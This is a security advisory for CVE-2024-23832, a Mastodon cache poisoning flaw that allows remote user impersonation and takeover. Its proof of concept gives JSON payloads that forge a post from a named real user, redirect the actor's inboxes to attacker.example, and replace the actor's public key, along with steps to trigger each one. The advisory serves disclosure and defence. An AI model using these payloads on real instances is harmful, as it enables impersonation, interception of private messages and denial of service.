Originally:

Remote User Impersonation and Takeover via Cache Poisoning

CVE-2024-23832 (9.8 Severity Score by NIST NVD)

Summary

When a Mastodon server queries an external resource, it does not check whether the domain of the queried URI matches the dereferenced object's ID, nor attempt to dereference it at the alternate domain, before storing/updating the dereferenced object in the database. The scope of this applies to object types such as remote posts and actors.

Details

Due to the trust model of most federated software treating outward-queried resources as inherently being authentic, skipping HTTP Signature or LD Signature checks, that if the dereferenced object is not compared against the URI it was retrieved by (or reattempted to be retrieved at the alternate address), it then permits a cache poisoning attack of any non-activity resource.

While this applies to posts, it also applies to remote actors as well, including the ability to overwrite properties such as a remote actors' inbox endpoints, which can allow diversion of any traffic (including direct messages) destined to a remote actor to instead be delivered to an attacker-controlled server. Further, through two steps of replacing an actor object, the actor's public key can be completely replaced and thus end up causing the vulnerable Mastodon server to reject traffic from the legitimate remote actor, therefore acting as a form of denial of service.

PoC

In order to execute the attack, just a basic internet-accessible webserver is required, and must be configured to present the payload with a media type of application/activity+json (or equivalent)

A payload can be constructed as simply as:

{
  "@context": ["https://www.w3.org/ns/activitystreams", {"@language": "en"}],
  "id": "https://mastodon.social/users/Gargron/posts/123456",
  "type": "Note",
  "actor": "https://mastodon.social/users/Gargron",
  "attributedTo": "https://mastodon.social/users/Gargron",
  "content": "Well, this is an extremely concerning vulnerability I should have accounted for.",
  "to": [ "https://www.w3.org/ns/activitystreams#Public" ],
  "cc": [ "https://mastodon.social/users/Gargron/followers" ],
  "published": "2024-01-28T22:00:00Z"
}

This payload would then be hosted on a webserver as a typical text file, preferably with a file extension that should be presented with a valid ActivityPub media type (application/activity+json) when queried, such as at an example URL like https://example.com/payload.jsonld

As a normal local user (or as an anonymous user, if the instance permits anonymous users to query remote content), the payload URL would be queried using the search interface of Mastodon, and the injected post would be presented in the search results like so:

Additionally, this injected post will show up in the post history of the impersonated user, and be presented to any followers of the impersonated user on the same instance.

Going further with this, the exact same process can also be applied to actors as well:

{
  "id": "https://mastodon.social/users/Gargron",
  "type": "Person",
  "inbox": "https://attacker.example/inbox",
  "endpoints": {
    "sharedInbox": "https://attacker.example/inbox"
  }
  "summary": "This is an example of an overwritten profile"
  (... remainder of this object are properties duplicate from the original actor ...)
}

When the payload is again queried from the search, it'll present a search result for @Gargron@mastodon.social, which when clicked will present:

Additionally, when the impersonated user is checked via the moderation interface, it can be observed that the inbox endpoints have been overwritten:

This attack can further be done to replace the user's public key as well.

Similar to the last actor payload, the publicKey attribute of the actor must be changed into a list, whereas the first object would be the replacement public key, and the second object would be the impersonated actor's original public key. For example:

"publicKey": [
  {
    "id": "https://mastodon.social/users/Gargron#attacker",
    "owner": "https://mastodon.social/users/Gargron",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQE(.. attacker-controlled key, stripped for brevity ..)"
  },
  {
    "id": "https://mastodon.social/users/Gargron#main-key",
    "owner": "https://mastodon.social/users/Gargron",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQE(.. original key, stripped for brevity ..)"
  }
],

Query the payload (preferably with some other value altered too, such as the bio, as a confirmation if it was accepted), and now the attacker public key is trusted. The same attack can be applied again, omitting the original public key, to ensure the original key is not on record anymore.

At this point, the attacker can now use their keypair to sign (using HTTP Signatures) any new activities as the impersonated user, and have it delivered to the vulnerable instance's inbox endpoint, and be accepted as authentic. Meanwhile, the authentic server's traffic will now be rejected entirely by the vulnerable instance. This attack has also been successfully executed within a closed testing lab environment.

Overall, this illustrates each form of attack possible using this cache poisoning vulnerability, and does not have to be executed in this exact order.

Impact

This vulnerability affects every remote user as observed from a vulnerable Mastodon instance, even if the remote instance does not use Mastodon. This vulnerability also affects the deliverability of traffic from/to remote users of any software, if the remote user(s) have had their inbox endpoints or public keys overwritten by a cache poisoning attack on a vulnerable Mastodon instance.